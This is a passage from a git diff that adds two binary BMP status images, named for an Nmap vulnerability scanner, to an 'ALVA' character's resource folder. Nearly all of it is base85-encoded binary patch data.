zY99v%x4zE`B7a~+oC%tlnmahZHSiIfW)f4AGBsc_n;RQI?Y|Nn|gz62WNtIs2I@YJd&gf0-5Z2TY5KJR+%y*XMSL)7!-1fnixrp(I@NAA*7k z2Ve!Yz%Eo(OvcN~VP$J~dWZP%Wv3t|>#L>~aO=OEZs(PX&~SB5%!6)xTv<1eQL$1t z+yuuF2MDNxu>v6QG7$pGk9GAStZmF}?HDTQVVpd6w!i(Y_&+lM;AQj;Yju4umjLjl z`|RRJYYlyMakzmV(j?dM;*B)7ps&5l?0bTij9T&a+=Dj-Y92Z5 z?YW|Su{Nf*^Y52TQQGQoxpzb4|K|Mt$@i-!55f9*_y)TB)FouCR1FP~8o^FpU=98^ z7uv6Svu_bt4(wSikb1WI=2~zi3uRsKCiA|v_qlNx)-NjNr)I(TXE3tO4UfKD{Ers) zytF*GSXoRmE+~A3e8P3u77x$5_hv0<98AuKZSCKz4?KBc25e_Y>3}i1S9vf0;fMbZ DsCzj7 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2883594bea91a13dba13bb36173019043a69dee4 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2bd18470c28751c17e89783c485b4b115e7ae04e GIT binary patch literal 18462 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 